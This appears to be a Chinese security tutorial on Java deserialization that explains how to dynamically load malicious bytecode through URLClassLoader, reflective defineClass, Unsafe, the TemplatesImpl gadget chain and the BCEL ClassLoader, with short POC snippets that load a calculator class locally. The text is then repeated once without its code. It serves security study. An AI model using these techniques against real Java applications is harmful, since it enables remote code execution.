Java反序列化之字节码二三事
字数 1314 2025-08-12 11:34:02

Java反序列化之字节码利用技术详解

0x01 字节码基础概念

字节码(ByteCode)是Java虚拟机(JVM)执行使用的一类指令,通常存储在.class文件中。可以将它类比为Dockerfile中的执行命令代码。

字节码的出现使得JVM具有更强的跨平台性,实现了"一次编写,到处运行"的理念。

0x02 动态加载字节码技术

1. 利用URLClassLoader加载远程class文件

URLClassLoader是AppClassLoader的父类,其工作流程如下:

Java根据配置项sun.boot.class.pathjava.class.path中的基础路径(处理后的java.net.URL类)来寻找.class文件加载。基础路径分为三种情况:

  1. file协议 - 本地文件系统加载

    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")});
    Class calc = urlClassLoader.loadClass("src.Calc");
    calc.newInstance();
    
  2. HTTP协议 - 远程加载

    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
    
  3. file+jar协议 - 加载jar包中的类

    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
    
  4. HTTP+jar协议 - 远程加载jar包

    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
    

2. 利用ClassLoader#defineClass直接加载字节码

Java类加载的三个关键方法调用链:

  1. loadClass() - 双亲委派机制查找类
  2. findClass() - 根据URL方式加载字节码
  3. defineClass() - 将字节流转变成Java类

反射调用defineClass示例:

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
Class c = (Class) method.invoke(classLoader, "src.Calc", code, 0, code.length);
c.newInstance();

优点:不需要出网即可加载字节码
缺点:需要设置setAccessible(true),常规反射中难以调用

3. 利用Unsafe加载字节码

Unsafe类中也包含defineClass方法,可通过反射调用:

Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "src.Calc", code, 0, code.length, classLoader, null);
calc.newInstance();

4. 利用TemplatesImpl加载字节码

TemplatesImpl类中包含内部类TransletClassLoader,它重写了defineClass方法,使其变为default类型,可被外部调用。

调用链:

TemplatesImpl#getOutputProperties() 
-> TemplatesImpl#newTransformer() 
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

POC示例:

byte[] code = Files.readAllBytes(Paths.get("E:\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();

关键点

  1. 字节码必须继承AbstractTranslet
  2. 需要设置_name不为null
  3. _tfactory需要是TransformerFactoryImpl对象

5. 利用BCEL ClassLoader加载字节码

BCEL(Apache Commons BCEL)是Apache Xalan的一部分,被包含在JDK原生库中。

使用步骤:

  1. 使用Repository和Utility类转换字节码
  2. 生成BCEL格式的特殊字节码
  3. 使用BCEL ClassLoader加载

示例:

new ClassLoader().loadClass("
$$
BCEL
$$
" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO...");

原理:BCEL的ClassLoader重写了loadClass方法,会判断类名是否以`

\[BCEL \]

`开头,如果是则进行decode处理。

0x03 总结

字节码利用技术的核心目标是加载恶意class文件,关键点包括:

  1. 理解Java类加载机制和双亲委派模型
  2. 掌握多种动态加载字节码的方法及其适用场景
  3. 了解各技术的优缺点和限制条件
  4. 熟悉反射机制在字节码加载中的应用
  5. 掌握特殊类加载器(如BCEL ClassLoader)的特性

在实际安全研究中,需要深入分析每种技术背后的原理,而不仅仅是复现POC,这样才能灵活应对各种防御措施和变种情况。

Java反序列化之字节码利用技术详解 0x01 字节码基础概念 字节码(ByteCode) 是Java虚拟机(JVM)执行使用的一类指令,通常存储在.class文件中。可以将它类比为Dockerfile中的执行命令代码。 字节码的出现使得JVM具有更强的跨平台性,实现了"一次编写,到处运行"的理念。 0x02 动态加载字节码技术 1. 利用URLClassLoader加载远程class文件 URLClassLoader是AppClassLoader的父类,其工作流程如下: Java根据配置项 sun.boot.class.path 和 java.class.path 中的基础路径(处理后的java.net.URL类)来寻找.class文件加载。基础路径分为三种情况: file协议 - 本地文件系统加载 HTTP协议 - 远程加载 file+jar协议 - 加载jar包中的类 HTTP+jar协议 - 远程加载jar包 2. 利用ClassLoader#defineClass直接加载字节码 Java类加载的三个关键方法调用链: loadClass() - 双亲委派机制查找类 findClass() - 根据URL方式加载字节码 defineClass() - 将字节流转变成Java类 反射调用defineClass示例: 优点 :不需要出网即可加载字节码 缺点 :需要设置 setAccessible(true) ,常规反射中难以调用 3. 利用Unsafe加载字节码 Unsafe类中也包含defineClass方法,可通过反射调用: 4. 利用TemplatesImpl加载字节码 TemplatesImpl类中包含内部类TransletClassLoader,它重写了defineClass方法,使其变为default类型,可被外部调用。 调用链: POC示例: 关键点 : 字节码必须继承AbstractTranslet 需要设置 _name 不为null _tfactory 需要是TransformerFactoryImpl对象 5. 利用BCEL ClassLoader加载字节码 BCEL(Apache Commons BCEL)是Apache Xalan的一部分,被包含在JDK原生库中。 使用步骤: 使用Repository和Utility类转换字节码 生成BCEL格式的特殊字节码 使用BCEL ClassLoader加载 示例: 原理 :BCEL的ClassLoader重写了loadClass方法,会判断类名是否以 $$BCEL$$ 开头,如果是则进行decode处理。 0x03 总结 字节码利用技术的核心目标是加载恶意class文件,关键点包括: 理解Java类加载机制和双亲委派模型 掌握多种动态加载字节码的方法及其适用场景 了解各技术的优缺点和限制条件 熟悉反射机制在字节码加载中的应用 掌握特殊类加载器(如BCEL ClassLoader)的特性 在实际安全研究中,需要深入分析每种技术背后的原理,而不仅仅是复现POC,这样才能灵活应对各种防御措施和变种情况。